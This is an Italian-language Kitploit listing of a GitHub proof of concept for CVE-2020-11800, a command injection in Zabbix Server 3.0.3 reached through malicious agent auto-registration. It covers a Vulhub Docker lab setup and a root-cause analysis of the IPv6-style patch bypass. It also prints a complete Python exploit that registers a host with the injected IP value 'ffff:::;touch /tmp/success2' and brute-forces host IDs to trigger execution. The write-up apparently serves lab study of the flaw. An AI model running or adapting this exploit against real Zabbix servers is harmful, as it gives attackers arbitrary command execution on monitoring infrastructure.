Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2020-11800 — Exploit PoC per CVE-2020-11800, un'iniezione di comandi in Zabbix Server tramite l'auto-registrazione di un agente malintenzionato, con consegna del payload basata su Python e brute-forcing dell'ID host. | Kitploit
Strumenti/GitHubGitHub/ycseo-git/cve-2020-11800
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingCommand and ControlSviluppo Payload
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC per CVE-2020-11800, un'iniezione di comandi in Zabbix Server tramite l'auto-registrazione di un agente malintenzionato, con consegna del payload basata su Python e brute-forcing dell'ID host.

Vedi Repository
74 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Le sezioni richieste dalle linee guida dell'assegnazione sono contrassegnate con “(Obbligatorio)”.

1. Ambiente (Obbligatorio)

Dockerfile (Obbligatorio)

Questo ambiente utilizza un Dockerfile personalizzato basato sull'immagine vulnerabile di Zabbix Server fornita da Vulhub.

FROM vulhub/zabbix:3.0.3-server

Il Dockerfile crea un'immagine locale utilizzando l'ambiente vulnerabile di Zabbix 3.0.3 server. Non sono stati aggiunti pacchetti o configurazioni aggiuntive durante il processo di build.


docker-compose.yml (Obbligatorio)

L'ambiente vulnerabile è configurato utilizzando Docker Compose.

L'ambiente è composto da quattro servizi:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

Il servizio server viene creato localmente utilizzando il Dockerfile:

server:
  build: .
  image: cve-2020-11800-server

Il container MySQL importa automaticamente i file di inizializzazione SQL dalla directory src/ tramite il montaggio dei volumi:

volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Questo consente di caricare automaticamente lo schema del database e i dati iniziali di Zabbix all'avvio del container.


Architettura dei servizi (Obbligatorio)

L'ambiente opera utilizzando la seguente struttura:

[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Fornisce l'interfaccia di gestione web accessibile tramite browser.

L'amministratore configura la auto-registrazione ed esegue le operazioni relative al monitoraggio tramite questa interfaccia.

Zabbix Server

Il componente principale responsabile di:

  • gestione degli agent
  • esecuzione degli script
  • logica di monitoraggio
  • elaborazione degli eventi

La vulnerabilità di command injection viene attivata all'interno di questo container.

Zabbix Agent

Agisce come host monitorato e comunica con lo Zabbix Server.

Lo exploit abusa del meccanismo di auto-registrazione durante il processo di registrazione dell'agente.

MySQL

Memorizza i dati di configurazione di Zabbix, le informazioni sugli host e i dati relativi al monitoraggio.


Immagini e versioni (Obbligatorio)

ServizioImmagineVersione
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

L'ambiente si basa sull'ambiente vulnerabile Zabbix 3.0.3 fornito da Vulhub.

2. Causa principale (Obbligatorio)

Descrizione della vulnerabilità (Obbligatorio)

CVE-2020-11800 è una vulnerabilità di command injection nella funzionalità Active Proxy Trapper di Zabbix Server.

La vulnerabilità esiste perché la patch per CVE-2017-2824 era incompleta. Un attaccante può bypassare la patch originale utilizzando un payload in stile IPv6 ed eseguire comandi arbitrari sullo Zabbix Server.

La vulnerabilità viene attivata durante il processo di auto-registrazione quando il server elabora informazioni sugli host controllate dall'utente.


Analisi della causa principale (Obbligatorio)

La causa principale della vulnerabilità è la gestione non sicura dell'input controllato dall'utente all'interno dei comandi shell.

Durante l'esecuzione degli script, Zabbix Server utilizza il valore dell'IP dell'host registrato per costruire comandi come:

ping <host_ip>

In condizioni normali:

ping 127.0.0.1

Tuttavia, se un attaccante registra un host utilizzando il seguente payload:

ffff:::;touch /tmp/success2

il comando finale eseguito dalla shell diventa:

ping ffff:::;touch /tmp/success2

Poiché il punto e virgola (;) agisce come separatore di comandi della shell, la shell interpreta l'input come due comandi separati:

ping ffff:::
touch /tmp/success2

Di conseguenza, diventa possibile l'esecuzione di comandi arbitrari.

Bypass della patch tramite IPv6

La patch originale per CVE-2017-2824 tentava di limitare i valori di input malevoli.

Tuttavia, la logica di validazione non gestiva correttamente gli input in stile IPv6.

Il payload:

ffff:::;touch /tmp/success2

utilizza un prefisso simile a IPv6 (ffff:::) per bypassare la logica di validazione esistente, iniettando comunque metacaratteri della shell.

Ciò consente agli attaccanti di bypassare la patch precedente e continuare a sfruttare la vulnerabilità di command injection.


Processo di attivazione della vulnerabilità (Obbligatorio)

Il processo di exploit avviene nel seguente ordine:

Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

L'attaccante invia prima una richiesta di auto-registrazione malevola contenente un campo IP appositamente modificato.

Dopo che l'host è stato registrato, lo Zabbix Server esegue uno script di monitoraggio utilizzando il valore dell'IP dell'host memorizzato.

Durante questo processo, il payload malevolo viene interpretato dalla shell, portando all'esecuzione di comandi arbitrari.


Flusso dell'attacco e impatto (Obbligatorio)

Lo exploit consente agli attaccanti di eseguire comandi arbitrari con i privilegi del processo Zabbix Server.

In questo ambiente, uno sfruttamento riuscito ha creato il seguente file all'interno del container del server:

/tmp/success2

Ciò conferma che i comandi shell iniettati sono stati eseguiti correttamente.

In un ambiente reale, uno sfruttamento riuscito potrebbe consentire agli attaccanti di:

  • eseguire comandi di sistema arbitrari
  • scaricare ed eseguire malware
  • effettuare ricognizione interna
  • spostarsi lateralmente verso altri sistemi
  • compromettere l'infrastruttura di monitoraggio

La vulnerabilità è particolarmente pericolosa perché i server di monitoraggio hanno spesso visibilità su più sistemi interni e componenti dell'infrastruttura.

3. PoC (Obbligatorio)

Panoramica del PoC (Obbligatorio)

La Proof of Concept (PoC) è stata scritta in Python e comunica direttamente con lo Zabbix Server tramite la porta TCP 10051.

Il PoC esegue le seguenti azioni:

  1. Invia una richiesta di auto-registrazione malevola
  2. Esegue un brute force sui valori di hostid validi
  3. Attiva l'esecuzione dello script utilizzando il payload iniettato

Codice del PoC

import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Analisi del payload (Obbligatorio)

Il payload utilizzato in questo PoC è:

ffff:::;touch /tmp/success2

Struttura del payload

ParteScopo
ffff:::Prefisso simile a IPv6 usato per il bypass della validazione
;Separatore di comandi della shell
touch /tmp/success2Comando arbitrario eseguito sul server
Scarica lo strumento